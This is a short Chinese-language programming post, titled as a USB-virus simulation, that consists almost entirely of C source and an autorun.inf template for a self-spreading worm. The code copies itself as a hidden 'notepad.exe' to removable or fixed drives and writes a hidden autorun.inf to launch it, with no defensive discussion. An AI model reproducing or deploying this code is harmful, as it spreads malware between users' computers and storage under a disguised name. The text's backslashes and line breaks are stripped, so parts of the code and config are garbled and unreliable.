网络安全编程：模拟U盘病毒

[AutoRun]open=notepad.exeshellopen=打开(&O)shellopenCommand=notepad.exeshellexplore=资源管理器(&X)shellexploreCommand="notepad.exe"shellexecute=notepad.exeshellAutoCommand=notepad.exe

#include <Windows.h>char szAutoRun[] = "[AutoRun] rnopen=notepad.exe rnshell\open=打开(&O) rnshell\open\Command=notepad.exe rnshell\explore=资源管理器(&X) rnshell\explore\Command=notepad.exe rnshellexecute=notepad.exe rnshell\Auto\Command=notepad.exe";void infect(char *pszFile, UINT uDriveType){char szDriveString[MAXBYTE] = { 0 };DWORD dwRet = 0;DWORD iNum = 0;char szRoot[4] = { 0 };UINT uType = 0;char szTarget[MAX_PATH] = { 0 };dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);while ( iNum < dwRet ){strncpy(szRoot, &szDriveString[iNum], 3);uType = GetDriveType(szRoot);if ( uType == uDriveType ){// 复制文件lstrcpy(szTarget, szRoot);lstrcat(szTarget, "notepad.exe");CopyFile(pszFile, szTarget, FALSE);// 设置 notepad.exe 文件为隐藏属性SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);// 建立 AutoRun.inf 文件lstrcpy(szTarget, szRoot);lstrcat(szTarget, "autorun.inf");HANDLE hFile = CreateFile(szTarget,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);DWORD dwWritten = 0;      WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);CloseHandle(hFile);// 设置 AutoRun.inf 文件为隐藏属性SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);}iNum += 4;}}int main(){// 自身所在地位置char szFileName[MAX_PATH] = { 0 };// 保存当前文件所在地盘符char szRoot[4] = { 0 };// 保存磁盘类型UINT uType = 0;// 获取当前所在完整路径及文件名GetModuleFileName(NULL, szFileName, MAX_PATH);// 获取所在盘符strncpy(szRoot, szFileName, 3);uType = GetDriveType(szRoot);switch ( uType ){case DRIVE_FIXED:{// 如果是在硬盘上就检测一遍是否有移动磁盘infect(szFileName, DRIVE_REMOVABLE);      break;    }case DRIVE_REMOVABLE:{// 如果在移动磁盘上，则将自己复制到移动磁盘上infect(szFileName, DRIVE_FIXED);break;}}return 0;}